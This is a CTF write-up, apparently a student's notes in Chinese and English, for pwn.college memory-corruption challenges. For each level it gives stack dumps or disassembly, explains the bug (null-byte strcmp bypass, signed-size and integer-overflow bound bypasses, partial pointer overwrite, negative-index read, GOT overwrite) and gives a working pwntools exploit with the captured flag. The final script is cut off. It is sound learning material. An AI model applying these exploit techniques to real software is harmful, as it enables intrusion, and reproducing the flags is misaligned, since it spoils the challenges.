PwnCollege - Program Security - Memory Corruption

Login Leakage (Easy)

Leverage memory corruption to satisfy a simple constraint

Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
hacker@program-security~login-leakage-easy:~$ /challenge/login-leakage-easy
The challenge() function has just been launched!
Before we do anything, let's take a look at challenge()'s stack frame:
+---------------------------------+-------------------------+--------------------+
| stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffca2408530 (RSP+0x0000) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408538 (RSP+0x0008) | 98 98 40 a2 fc 7f 00 00 | 0x00007ffca2409898 |
| 0x00007ffca2408540 (RSP+0x0010) | 88 98 40 a2 fc 7f 00 00 | 0x00007ffca2409888 |
| 0x00007ffca2408548 (RSP+0x0018) | 00 00 00 00 01 00 00 00 | 0x0000000100000000 |
| 0x00007ffca2408550 (RSP+0x0020) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408558 (RSP+0x0028) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408560 (RSP+0x0030) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408568 (RSP+0x0038) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408570 (RSP+0x0040) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408578 (RSP+0x0048) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408580 (RSP+0x0050) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408588 (RSP+0x0058) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408590 (RSP+0x0060) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408598 (RSP+0x0068) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085a0 (RSP+0x0070) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085a8 (RSP+0x0078) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085b0 (RSP+0x0080) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085b8 (RSP+0x0088) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085c0 (RSP+0x0090) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085c8 (RSP+0x0098) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085d0 (RSP+0x00a0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085d8 (RSP+0x00a8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085e0 (RSP+0x00b0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085e8 (RSP+0x00b8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085f0 (RSP+0x00c0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085f8 (RSP+0x00c8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408600 (RSP+0x00d0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408608 (RSP+0x00d8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408610 (RSP+0x00e0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408618 (RSP+0x00e8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408620 (RSP+0x00f0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408628 (RSP+0x00f8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408630 (RSP+0x0100) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408638 (RSP+0x0108) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408640 (RSP+0x0110) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408648 (RSP+0x0118) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408650 (RSP+0x0120) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408658 (RSP+0x0128) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408660 (RSP+0x0130) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408668 (RSP+0x0138) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408670 (RSP+0x0140) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408678 (RSP+0x0148) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408680 (RSP+0x0150) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408688 (RSP+0x0158) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408690 (RSP+0x0160) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408698 (RSP+0x0168) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086a0 (RSP+0x0170) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086a8 (RSP+0x0178) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086b0 (RSP+0x0180) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086b8 (RSP+0x0188) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086c0 (RSP+0x0190) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086c8 (RSP+0x0198) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086d0 (RSP+0x01a0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086d8 (RSP+0x01a8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086e0 (RSP+0x01b0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086e8 (RSP+0x01b8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086f0 (RSP+0x01c0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086f8 (RSP+0x01c8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408700 (RSP+0x01d0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408708 (RSP+0x01d8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408710 (RSP+0x01e0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408718 (RSP+0x01e8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408720 (RSP+0x01f0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408728 (RSP+0x01f8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408730 (RSP+0x0200) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408738 (RSP+0x0208) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408740 (RSP+0x0210) | 00 00 00 00 00 00 25 0c | 0x0c25000000000000 |
| 0x00007ffca2408748 (RSP+0x0218) | d5 3c 61 40 cb d1 00 00 | 0x0000d1cb40613cd5 |
| 0x00007ffca2408750 (RSP+0x0220) | 00 82 64 58 27 60 00 00 | 0x0000602758648200 |
| 0x00007ffca2408758 (RSP+0x0228) | 80 98 40 a2 03 00 00 00 | 0x00000003a2409880 |
| 0x00007ffca2408760 (RSP+0x0230) | 90 97 40 a2 fc 7f 00 00 | 0x00007ffca2409790 |
| 0x00007ffca2408768 (RSP+0x0238) | c0 8c 64 58 27 60 00 00 | 0x0000602758648cc0 |
+---------------------------------+-------------------------+--------------------+
  • Input buffer 起始地址: 0x7ffca2408560
  • Password 起始地址: 0x7ffca2408746
  • Offset: 0x7ffca2408746 - 0x7ffca2408560 = 0x1E6 (486 bytes)

先看距离,再看比较逻辑。ltrace 直接把关键点抖出来了:

1
strcmp("123123\n", "n`\322\232\024\t[,") = -61

程序直接调用标准库里的 strcmp 来比较输入和随机生成的密码。strcmp 比较字符串时,一遇到 null terminator (\x00) 就会停止

既然题目不仅禁用了 canary (stack protector),还允许你输入任意长度的 payload,底层大概率就是 read() 这种可以读入 \x00 的接口,而不是会截断的 scanf。所以这里根本不用猜密码,直接用 null byte injection (空字节注入) 让判断逻辑失效就行。

  1. 如果我们在 input 的第一个字节就写入 \x00strcmp 就会认为我们的输入是一个空字符串 ""
  2. 因为存在 buffer overflow,我们可以一路把 \x00 填充过去,跨越那 486 bytes 的距离,顺便把目标 password 的第一个字节也覆盖成 \x00
  3. 这样一来,passwordstrcmp 眼里也变成了空字符串 ""

strcmp("", "") == 0,密码校验直接 pass。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3
from pwn import *

p = process('/challenge/login-leakage-easy')

# 486 bytes 的 \x00 用来填满 buffer,同时让 input 变成空字符串 ""
# 第 487 个 byte 的 \x00 用来精准覆盖 password 的第一个字节,让它也变成 ""
payload = b'\x00' * 487

p.sendline(str(len(payload)).encode())
p.sendline(payload)

p.interactive()
pwn.college{wthFhdGjaeJBEazRhx2KFtz8tF5.QXwgzN4EDL4cjM1gzW}

Login Leakage (Hard)

Leverage memory corruption to satisfy a simple constraint

Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
r2 -A -q -c "pdf @ sym.challenge" /challenge/login-leakage-hard
; CALL XREF from main @ 0x16ff(x)
┌ 396: sym.challenge (int64_t arg1, int64_t arg2, int64_t arg3);
│ `- args(RDI, RSI, RDX) vars(7:sp[0xc..0x1e0])
│ 0x000014f2 f30f1efa endbr64
│ 0x000014f6 55 push RBP
│ 0x000014f7 4889e5 mov RBP, RSP
│ 0x000014fa 4881ece001.. sub RSP, 0x1e0
│ 0x00001501 89bd3cfeffff mov dword [var_1c4h], edi ; arg1
│ 0x00001507 4889b530fe.. mov qword [var_1d0h], RSI ; arg2
│ 0x0000150e 48899528fe.. mov qword [var_1d8h], RDX ; arg3
│ 0x00001515 488d9550fe.. lea RDX, [path]
│ 0x0000151c b800000000 mov eax, 0
│ 0x00001521 b933000000 mov ecx, 0x33 ; '3'
│ 0x00001526 4889d7 mov RDI, RDX
│ 0x00001529 f348ab rep stosq qword [RDI], RAX
│ 0x0000152c 4889fa mov RDX, RDI
│ 0x0000152f 668902 mov word [RDX], ax
│ 0x00001532 4883c202 add RDX, 2
│ 0x00001536 be00000000 mov esi, 0 ; int oflag
│ 0x0000153b 488d3dca0b.. lea RDI, str._dev_urandom ; 0x210c ; "/dev/urandom" ; const char *path
│ 0x00001542 b800000000 mov eax, 0
│ 0x00001547 e854fcffff call sym.imp.open ; int open(const char *path, int oflag)
│ 0x0000154c 8945fc mov dword [fildes], eax
│ 0x0000154f 488d8550fe.. lea RAX, [path]
│ 0x00001556 488d889201.. lea RCX, [RAX + 0x192]
│ 0x0000155d 8b45fc mov eax, dword [fildes]
│ 0x00001560 ba08000000 mov edx, 8 ; size_t nbyte
│ 0x00001565 4889ce mov RSI, RCX ; void *buf
│ 0x00001568 89c7 mov edi, eax ; int fildes
│ 0x0000156a e801fcffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ 0x0000156f 8b45fc mov eax, dword [fildes]
│ 0x00001572 89c7 mov edi, eax ; int fildes
│ 0x00001574 e8e7fbffff call sym.imp.close ; int close(int fildes)
│ 0x00001579 48c78548fe.. mov qword [nbyte], 0
│ 0x00001584 488d3d8e0b.. lea RDI, str.Payload_size: ; 0x2119 ; "Payload size: " ; const char *format
│ 0x0000158b b800000000 mov eax, 0
│ 0x00001590 e8abfbffff call sym.imp.printf ; int printf(const char *format)
│ 0x00001595 488d8548fe.. lea RAX, [nbyte]
│ 0x0000159c 4889c6 mov RSI, RAX
│ 0x0000159f 488d3d820b.. lea RDI, [0x00002128] ; "%lu" ; const char *format
│ 0x000015a6 b800000000 mov eax, 0
│ 0x000015ab e800fcffff call sym.imp.__isoc99_scanf ; int scanf(const char *format)
│ 0x000015b0 488b8548fe.. mov RAX, qword [nbyte]
│ 0x000015b7 4889c6 mov RSI, RAX
│ 0x000015ba 488d3d6f0b.. lea RDI, str.Send_your_payload__up_to__lu_bytes___n ; 0x2130 ; "Send your payload (up to %lu bytes)!\n" ; const char *format
│ 0x000015c1 b800000000 mov eax, 0
│ 0x000015c6 e875fbffff call sym.imp.printf ; int printf(const char *format)
│ 0x000015cb 488b9548fe.. mov RDX, qword [nbyte] ; size_t nbyte
│ 0x000015d2 488d8550fe.. lea RAX, [path]
│ 0x000015d9 4889c6 mov RSI, RAX ; void *buf
│ 0x000015dc bf00000000 mov edi, 0 ; int fildes
│ 0x000015e1 e88afbffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ 0x000015e6 8945f8 mov dword [var_8h], eax
│ 0x000015e9 837df800 cmp dword [var_8h], 0
│ ┌─< 0x000015ed 792c jns 0x161b
│ │ 0x000015ef e81cfbffff call sym.imp.__errno_location
│ │ 0x000015f4 8b00 mov eax, dword [RAX]
│ │ 0x000015f6 89c7 mov edi, eax ; int errnum
│ │ 0x000015f8 e8d3fbffff call sym.imp.strerror ; char *strerror(int errnum)
│ │ 0x000015fd 4889c6 mov RSI, RAX
│ │ 0x00001600 488d3d510b.. lea RDI, str.ERROR:_Failed_to_read_input_____s__n ; 0x2158 ; "ERROR: Failed to read input -- %s!\n" ; const char *format
│ │ 0x00001607 b800000000 mov eax, 0
│ │ 0x0000160c e82ffbffff call sym.imp.printf ; int printf(const char *format)
│ │ 0x00001611 bf01000000 mov edi, 1 ; int status
│ │ 0x00001616 e8a5fbffff call sym.imp.exit ; void exit(int status)
│ │ ; CODE XREF from sym.challenge @ 0x15ed(x)
│ └─> 0x0000161b 488d8550fe.. lea RAX, [path]
│ 0x00001622 488d909201.. lea RDX, [RAX + 0x192]
│ 0x00001629 488d8550fe.. lea RAX, [path]
│ 0x00001630 4889d6 mov RSI, RDX ; const char *s2
│ 0x00001633 4889c7 mov RDI, RAX ; const char *s1
│ 0x00001636 e845fbffff call sym.imp.strcmp ; int strcmp(const char *s1, const char *s2)
│ 0x0000163b 85c0 test eax, eax
│ ┌─< 0x0000163d 7416 je 0x1655
│ │ 0x0000163f 488d3d3a0b.. lea RDI, str.Password_check_failed__Exiting_ ; 0x2180 ; "Password check failed! Exiting!" ; const char *s
│ │ 0x00001646 e8d5faffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x0000164b bf01000000 mov edi, 1 ; int status
│ │ 0x00001650 e86bfbffff call sym.imp.exit ; void exit(int status)
│ │ ; CODE XREF from sym.challenge @ 0x163d(x)
│ └─> 0x00001655 488d3d440b.. lea RDI, str.Password_check_passed_ ; 0x21a0 ; "Password check passed!" ; const char *s
│ 0x0000165c e8bffaffff call sym.imp.puts ; int puts(const char *s)
│ 0x00001661 b800000000 mov eax, 0
│ 0x00001666 e880fdffff call sym.win
│ 0x0000166b 488d3d450b.. lea RDI, str.Goodbye_ ; 0x21b7 ; "Goodbye!" ; const char *s
│ 0x00001672 e8a9faffff call sym.imp.puts ; int puts(const char *s)
│ 0x00001677 b800000000 mov eax, 0
│ 0x0000167c c9 leave
└ 0x0000167d c3 ret

这一题和 Easy 本质一样,还是利用 strcmp 的字符串终止规则,只是需要先从反汇编里把布局自己抠出来。

  1. 随机密码生成逻辑 (0x154f - 0x156a):
    • lea RAX, [path]:加载 path 缓冲区的基地址。
    • lea RCX, [RAX + 0x192]:计算出目标地址 path + 0x192
    • call sym.imp.read:从 /dev/urandom 读取 8 bytes 写入到 path + 0x192
    • 结论:真正的密码存放位置是相对于你输入缓冲区的偏移量 0x192 处。
  2. 输入控制权交接 (0x159f - 0x15ab):
    • 程序用 scanf("%lu") 让你自己输入后续要读取的 Payload size (nbyte)。没有做任何边界检查 (bounds checking),很典型的代码。
  3. buffer overflow 发生地 (0x15d2 - 0x15e1):
    • mov RSI, RAX (其中 RAX 是 path 的地址)
    • call sym.imp.read:从标准输入 (fd=0) 读取你指定长度 (nbyte) 的数据,直接怼进 path 的头部。
  4. 致命的比较 (0x161b - 0x1636):
    • mov RDI, RAX (s1 = path)
    • mov RSI, RDX (s2 = path + 0x192)
    • call sym.imp.strcmp:程序居然又用了 strcmp

利用思路:

  1. 计算偏移:0x192 转换为十进制就是 402 bytes。
  2. 利用不受限制的 read,往缓冲区塞满 \x00
  3. 第 1 个 \x00 会让 path (你的输入) 被 strcmp 视为空字符串 ""
  4. 第 403 个 \x00 会精准覆盖掉 path + 0x192 (随机密码) 的第一个字节,让密码也被视为空字符串 ""

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3
from pwn import *

p = process('/challenge/login-leakage-hard')

# 0x192 = 402 (十进制)
# 我们需要 402 个 \x00 来填充直到密码所在的位置
# 第 403 个 \x00 覆盖密码的第一个字节
offset = 403

payload = b'\x00' * offset

p.sendline(str(offset).encode())
p.sendline(payload)

p.interactive()
pwn.college{EziJep0N4Bnd83ahmJdcZ2XvWHL.QXxgzN4EDL4cjM1gzW}

Bounds Breaker (Easy)

Overflow a buffer and smash the stack to obtain the flag, but this time bypass a check designed to prevent you from doing so!

Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
hacker@program-security~bounds-breaker-easy:~$ /challenge/bounds-breaker-easy
The challenge() function has just been launched!
Before we do anything, let's take a look at challenge()'s stack frame:
+---------------------------------+-------------------------+--------------------+
| stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffea42aa180 (RSP+0x0000) | 68 0d 00 00 00 00 00 00 | 0x0000000000000d68 |
| 0x00007ffea42aa188 (RSP+0x0008) | 38 b3 2a a4 fe 7f 00 00 | 0x00007ffea42ab338 |
| 0x00007ffea42aa190 (RSP+0x0010) | 28 b3 2a a4 fe 7f 00 00 | 0x00007ffea42ab328 |
| 0x00007ffea42aa198 (RSP+0x0018) | 20 60 40 00 01 00 00 00 | 0x0000000100406020 |
| 0x00007ffea42aa1a0 (RSP+0x0020) | 40 15 f0 00 b4 7c 00 00 | 0x00007cb400f01540 |
| 0x00007ffea42aa1a8 (RSP+0x0028) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1b0 (RSP+0x0030) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1b8 (RSP+0x0038) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1c0 (RSP+0x0040) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1c8 (RSP+0x0048) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1d0 (RSP+0x0050) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1d8 (RSP+0x0058) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1e0 (RSP+0x0060) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1e8 (RSP+0x0068) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1f0 (RSP+0x0070) | 30 b2 2a a4 fe 7f 00 00 | 0x00007ffea42ab230 |
| 0x00007ffea42aa1f8 (RSP+0x0078) | b0 a1 2a a4 fe 7f 00 00 | 0x00007ffea42aa1b0 |
| 0x00007ffea42aa200 (RSP+0x0080) | 30 b2 2a a4 fe 7f 00 00 | 0x00007ffea42ab230 |
| 0x00007ffea42aa208 (RSP+0x0088) | 2a 21 40 00 00 00 00 00 | 0x000000000040212a |
+---------------------------------+-------------------------+--------------------+
Our stack pointer points to 0x7ffea42aa180, and our base pointer points to 0x7ffea42aa200.
The input buffer begins at 0x7ffea42aa1b0.
The return address is stored at 0x7ffea42aa208, 88 bytes after the start of your input buffer.
  • buffer address: 0x7ffea42aa1b0
  • return address: 0x7ffea42aa208
1
2
hacker@program-security~bounds-breaker-easy:~$ nm /challenge/bounds-breaker-easy | grep win
000000000040198c T win

win -> 0x40198c

这里真正要打的不是覆盖本身,而是 signed / unsigned conversion

The standard C library uses unsigned integers for sizes, for example the last argument to read, memcmp, strncpy, and friends. By contrast, the default integer types like short, int, and long are signed.

换句话说,这题的真正切入点是:检查发生在 signed world,危险调用发生在 unsigned world。一旦这两个世界之间发生类型转换,检查就失效了。

安全检查 (bounds check): 程序执行判断 if (size > 63) { exit(); }底层调用: 绕过检查后,程序会调用底层系统调用,比如 read(0, buffer, size)read 的第三个参数类型是 size_t (unsigned)。

当你输入 -1 时,有符号的安全检查会认为 -1 < 63,合法直接放行。但当 -1 被传递给 read() 并被强制类型转换为无符号的 size_t 时,在 Two’s Complement (二进制补码) 的规则下,-1 的内存表示 0xffffffffffffffff 会变成一个极其巨大的正数。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3
from pwn import *

p = process('/challenge/bounds-breaker-easy')

padding = 0x7ffea42aa208 - 0x7ffea42aa1b0

payload = b'\x90' * padding + p64(0x40198c)

p.sendline(b"-1")
p.send(payload)

p.interactive()
pwn.college{4UZ8-8id5DaJFXvOX8jKVcIscGE.0VN5IDL4cjM1gzW}

Bounds Breaker (Hard)

Analysis

1
2
3
4
5
6
7
8
9
10
11
r2 -A -q -c "pdf @ sym.challenge" /challenge/bounds-breaker-hard
; CALL XREF from main @ 0x402222(x)
┌ 362: sym.challenge (char **arg1, char **arg2, int64_t arg3);
│ `- args(RDI, RSI, RDX) vars(20:sp[0x10..0xb0])
; ...
│ 0x0040208c 488945f8 mov qword [buf], RAX
│ 0x004020c1 e8baf0ffff call sym.imp.__isoc99_scanf ; int scanf(const char *format)
│ 0x004020cc 83f86a cmp eax, 0x6a ; 'j' ; 106
│ ┌─< 0x004020cf 7e16 jle 0x4020e7
; ...
│ 0x00402114 e837f0ffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
  • buf -> RBP - 0x80
  • padding -> 0x80 + 8 = 136
  • win -> 0x00401ef0

Same trick as easy version, using signed -1 to bypass the jle 106 check.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3
from pwn import *

p = process('/challenge/bounds-breaker-hard')

padding = 136

payload = b'\x90' * padding + p64(0x401ef0)

p.sendline(b"-1")
p.send(payload)

p.interactive()
pwn.college{I8YM8h8FYgC-CWSTAsEzsyV1c6v.0lN5IDL4cjM1gzW}

Casting Catastrophe (Easy)

Overflow a buffer and smash the stack to obtain the flag, but this time bypass another check designed to prevent you from doing so!

Analysis

核心漏洞是 32-bit integer multiplication overflow

The imul eax, edx check uses 32-bit multiplication. If record_num = 42949673 and record_size = 100, then 42949673 * 100 = 4294967300 = 0x100000004. After truncation to 32 bits, the result becomes 0x00000004, which happily passes the <= 119 check.

  • buffer address: 0x7ffcb2c40f30
  • return address: 0x7ffcb2c40fc8
  • padding = 152 bytes

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3
from pwn import *

context.log_level = 'warning'

binary_path = '/challenge/casting-catastrophe-easy'
exe = ELF(binary_path, checksec=False)

p = process(binary_path)

record_num = b"42949673"
record_size = b"100"

p.sendline(record_num)
p.sendline(record_size)

padding = 152
payload = b'\x90' * padding + p64(exe.sym['win'])

p.send(payload)
p.interactive()
pwn.college{k3b5vnCTtezRHjL8K5QJGkTcHuE.01N5IDL4cjM1gzW}

Casting Catastrophe (Hard)

Analysis

1
2
3
4
r2 -A -q -c "pdf @ sym.challenge" /challenge/casting-catastrophe-hard
# buf -> RAX -> var_30h -> RBP - 0x30
│ 0x00401fec 83f816 cmp eax, 0x16 ; 22
│ ┌─< 0x00401fef 761f jbe 0x402010

Same 32-bit multiplication overflow trick as easy, just with a much smaller buffer. Here the bound is only 22 bytes and buf lives at RBP - 0x30.

  • padding = 0x30 + 8 = 56 bytes

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3
from pwn import *

context.log_level = "warning"

binary_path = "/challenge/casting-catastrophe-hard"
exe = ELF(binary_path, checksec=False)

p = process(binary_path)

record_num = b"42949673"
record_size = b"100"

p.sendline(record_num)
p.sendline(record_size)

padding = 56
payload = b"\x90" * padding + p64(exe.sym["win"])

p.send(payload)
p.interactive()
pwn.college{44Gjyw7y3rCOCpE8CMg-lX3RMzO.0FO5IDL4cjM1gzW}

Pointer Problems (Easy)

Leverage memory corruption to leak the flag.

Analysis

这题的核心不是 ret2win,而是 partial pointer overwrite

The low bytes of the char* differ between runs because of ASLR, but the higher bytes stay aligned closely enough that a short partial overwrite still works.

  • flag is near BSS 0x5060 (obj.bssdata)
  • need_overwrite = 0x7fff67f0f7b0
  • buffer_address = 0x7fff67f0f760
  • padding = 80 bytes

We overwrite the low 2 bytes of the pointer with 0x5060.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3
import itertools
from pwn import *

path = "/challenge/pointer-problems-easy"
offset = 80
payload = b"A" * offset + p16(0x5060)

for count in itertools.count():
p = process(path)
p.sendline(str(offset+2).encode())
p.sendline(payload)
output = p.clean(timeout=2)
if b"pwn.college{" in output:
print(f"[+] Success on Try {count}")
print(output.decode("utf-8", errors="ignore"))
p.close()
break
p.close()
pwn.college{8mxldk5zAFKNhxJWkA9vMtAZPLd.QXygzN4EDL4cjM1gzW}

Pointer Problems (Hard)

Analysis

1
2
3
4
5
hacker@program-security~pointer-problems-hard:~$ r2 -A -q -c "pdf @ sym.challenge" /challenge/pointer-problems-hard
; BSS data address -> 0x4040
│ 0x00001899 488d05a027.. lea RAX, obj.bssdata ; 0x4040
; buf -> RBP - 0x60, string pointer at RBP - 0x10
; padding = 0x60 - 0x10 = 0x50 = 80 bytes

Same trick as easy. We don’t need the full pointer, only the low bytes that redirect the stack string pointer into the flag buffer in .BSS.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3
import itertools
from pwn import *

path = "/challenge/pointer-problems-hard"
offset = 80
payload = b"A" * offset + p16(0x4040)

for count in itertools.count():
p = process(path)
p.sendline(str(offset + 2).encode())
p.sendline(payload)
output = p.clean(timeout=2)
if b"pwn.college{" in output:
print(f"[+] Success on Try {count}")
print(output.decode("utf-8", errors="ignore"))
p.close()
break
p.close()
pwn.college{gISXStoHI3uPCfeOHg3yKKOefCg.QXzgzN4EDL4cjM1gzW}

Anomalous Array (Easy)

Leverage an Array to obtain the flag.

Analysis

这题其实是 OOB read,只是包装成“查看数组元素”。数组在栈的高地址,flag 在更低的地址,所以思路是使用 negative index

  • array start: 0x7fffcfc10c98
  • flag address: 0x7fffcfc106d0
  • distance: 0x7fffcfc10c98 - 0x7fffcfc106d0 = 1480 bytes
  • element size: 8 bytes
  • index: 1480 / 8 = 185 -> use -185

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

context.log_level = 'error'
flag = b""

for i in range(-185, -170):
p = process('/challenge/anomalous-array-easy')
p.sendlineafter(b"Which number would you like to view?", str(i).encode())
p.recvuntil(b"Your hacker number is ")
val = p.recvline().strip().decode().zfill(16)
chunk = bytes.fromhex(val)[::-1]
flag += chunk
p.close()
if b"}" in chunk:
break

print(f"\n[+] flag: {flag.decode('utf-8', errors='ignore')}")
pwn.college{0DcG-T7IqYV0QKtiZidy4E-xZUh.QX0gzN4EDL4cjM1gzW}

Anomalous Array (Hard)

Leverage an Array to obtain the flag.

Analysis

Same approach as easy version, using a negative array index to read the flag from memory.

pwn.college{…}

Now You GOT It (Easy)

Leverage an Array to obtain the flag.

Analysis

这题从越界读写切到 GOT overwrite

  • win function: 0x1a72
  • GOT base: 0x5000
  • array base: 0x57c0
  • offset: 0x5000 - 0x57c0 = -0x7c0 (-1984 bytes)
  • index: -1984 / 8 = -248

We overwrite putchar@GOT with the address of win().

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context.arch = "amd64"
context.log_level = "info"

elf = ELF("/challenge/now-you-got-it-easy")
p = process("/challenge/now-you-got-it-easy")

# Calculate index based on binary layout
# puts_addr - array_addr
index = (elf.got["putchar"] - 0x57C0) // 8

p.recvuntil(b"FREE LEAK: win is located at: ")
win_addr = int(p.recvline().strip(), 16)

p.sendlineafter(b"Which number would you like to view? ", str(index).encode())
